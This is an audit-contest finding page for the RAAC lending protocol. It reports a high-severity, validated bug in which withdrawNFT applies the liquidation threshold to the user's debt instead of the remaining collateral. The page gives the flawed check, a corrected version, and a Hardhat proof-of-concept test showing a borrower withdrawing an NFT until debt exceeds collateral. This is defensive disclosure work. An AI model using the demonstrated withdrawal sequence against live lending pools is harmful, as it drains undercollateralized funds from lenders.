Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Incorrect Liquidation Threshold Check in NFT Withdrawal

Summary

A vulnerability in the withdrawNFT function allows improper collateral calculations when checking whether an NFT withdrawal would leave the user undercollateralized. The current implementation incorrectly applies the liquidation threshold to the user’s debt instead of the remaining collateral after withdrawal. This could prevent valid withdrawals or allow excessive withdrawals that weaken collateral security.

Vulnerability Details

The current implementation:

if (collateralValue - nftValue < userDebt.percentMul(liquidationThreshold)) {
revert WithdrawalWouldLeaveUserUnderCollateralized();
}

Incorrectly applies the liquidation threshold (e.g., 80%) to the user's debt amount instead of the remaining collateral. This means the check verifies if: remainingCollateral < debt * 0.8

When it should verify if: debt > remainingCollateral * 0.8

The correct implementation should be:

if (userDebt > (collateralValue - nftValue).percentMul(liquidationThreshold)) {
revert WithdrawalWouldLeaveUserUnderCollateralized();
}

This ensures that the remaining collateral after withdrawal is still sufficient to cover the required liquidation threshold.

Impact

Users could withdraw more collateral than they should be allowed to

Tools Used

Manual code review

##POC

describe("LendingPool", function () {
let owner, user1, user2, user3, attacker, innocentUser;
let crvusd, raacNFT, raacHousePrices, stabilityPool, raacFCL, raacVault, curveVault;
let lendingPool, rToken, debtToken;
let deployer;
let token;
const tokenId = 1;
const tokenId2 = 2;
beforeEach(async function () {
[owner, user1, user2, user3, attacker, innocentUser] = await ethers.getSigners();
const CrvUSDToken = await ethers.getContractFactory("crvUSDToken");
crvusd = await CrvUSDToken.deploy(owner.address);
const CurveVault = await ethers.getContractFactory("MockCurveVault");
curveVault = await CurveVault.deploy(crvusd.target);
await crvusd.setMinter(owner.address);
token = crvusd;
const RAACHousePrices = await ethers.getContractFactory("RAACHousePrices");
raacHousePrices = await RAACHousePrices.deploy(owner.address);
const RAACNFT = await ethers.getContractFactory("RAACNFT");
raacNFT = await RAACNFT.deploy(crvusd.target, raacHousePrices.target, owner.address);
stabilityPool = { target: owner.address };
const RToken = await ethers.getContractFactory("RToken");
rToken = await RToken.deploy("RToken", "RToken", owner.address, crvusd.target);
const DebtToken = await ethers.getContractFactory("DebtToken");
debtToken = await DebtToken.deploy("DebtToken", "DT", owner.address);
const initialPrimeRate = ethers.parseUnits("0.1", 27);
const LendingPool = await ethers.getContractFactory("LendingPool");
lendingPool = await LendingPool.deploy(
crvusd.target,
rToken.target,
debtToken.target,
raacNFT.target,
raacHousePrices.target,
initialPrimeRate
);
await rToken.setReservePool(lendingPool.target);
await debtToken.setReservePool(lendingPool.target);
await rToken.transferOwnership(lendingPool.target);
await debtToken.transferOwnership(lendingPool.target);
const mintAmount = ethers.parseEther("1000");
await crvusd.mint(user1.address, mintAmount);
await crvusd.mint(user3.address, mintAmount);
const mintAmount2 = ethers.parseEther("10000");
await crvusd.mint(user2.address, mintAmount2);
await crvusd.connect(user1).approve(lendingPool.target, mintAmount);
await crvusd.connect(user2).approve(lendingPool.target, mintAmount);
await crvusd.connect(user3).approve(lendingPool.target, mintAmount);
await raacHousePrices.setOracle(owner.address);
// FIXME: we are using price oracle and therefore the price should be changed from the oracle.
await raacHousePrices.setHousePrice(tokenId, ethers.parseEther("100"));
await raacHousePrices.setHousePrice(tokenId2, ethers.parseEther("80"));
await ethers.provider.send("evm_mine", []);
const housePrice = await raacHousePrices.tokenToHousePrice(1);
const raacHpAddress = await raacNFT.raac_hp();
const priceFromNFT = await raacNFT.getHousePrice(1);
const amountToPayForNFT1 = ethers.parseEther("100");
const amountToPayForNFT2 = ethers.parseEther("80");
await token.mint(user3.address, amountToPayForNFT1);
await token.mint(user3.address, amountToPayForNFT2);
await token.connect(user3).approve(raacNFT.target, ethers.MaxInt256);
await raacNFT.connect(user3).mint(tokenId, amountToPayForNFT1);
await raacNFT.connect(user3).mint(tokenId2, amountToPayForNFT2);
// await lendingPool.setCurveVault(curveVault.target);
const depositAmount = ethers.parseEther("1000");
await crvusd.connect(user2).approve(lendingPool.target, ethers.MaxInt256);
await lendingPool.connect(user2).deposit(depositAmount);
});
describe("Proof of Concept - Liquidation Exploit", function () {
it("should allow an attacker to force liquidation by manipulating NFT price", async function () {
await raacNFT.connect(user3).approve(lendingPool.target, tokenId);
await lendingPool.connect(user3).depositNFT(tokenId);
await raacNFT.connect(user3).approve(lendingPool.target, tokenId2);
await lendingPool.connect(user3).depositNFT(tokenId2);
const borrowAmount = ethers.parseEther("99");
await lendingPool.connect(user3).borrow(borrowAmount);
const getUserDebtBefore = await lendingPool.getUserDebt(user3.address);
expect(getUserDebtBefore).to.equal(borrowAmount);
const getUserCollateralValue = await lendingPool.getUserCollateralValue(user3.address);
expect(getUserCollateralValue).to.equal(ethers.parseEther("180"));
await lendingPool.connect(user3).withdrawNFT(tokenId);
// New User debt is > previous user debt which is > collateral value
const getUserDebtAfter = await lendingPool.getUserDebt(user3.address);
expect(getUserDebtAfter).to.be.gt(borrowAmount);
// New collateral value is less than user debt after withdrawal
const newGetUserCollateralValue = await lendingPool.getUserCollateralValue(user3.address);
expect(newGetUserCollateralValue).to.be.lt(getUserDebtAfter);
});
});

Recommendations

Apply the Liquidation Threshold to Remaining Collateral: Use the correct formula to ensure 80% of the remaining collateral covers the user’s debt:

if ((collateralValue - nftValue).percentMul(liquidationThreshold) < userDebt) {
revert WithdrawalWouldLeaveUserUnderCollateralized();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::borrow as well as withdrawNFT() reverses collateralization check, comparing collateral < debt*0.8 instead of collateral*0.8 > debt, allowing 125% borrowing vs intended 80%

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!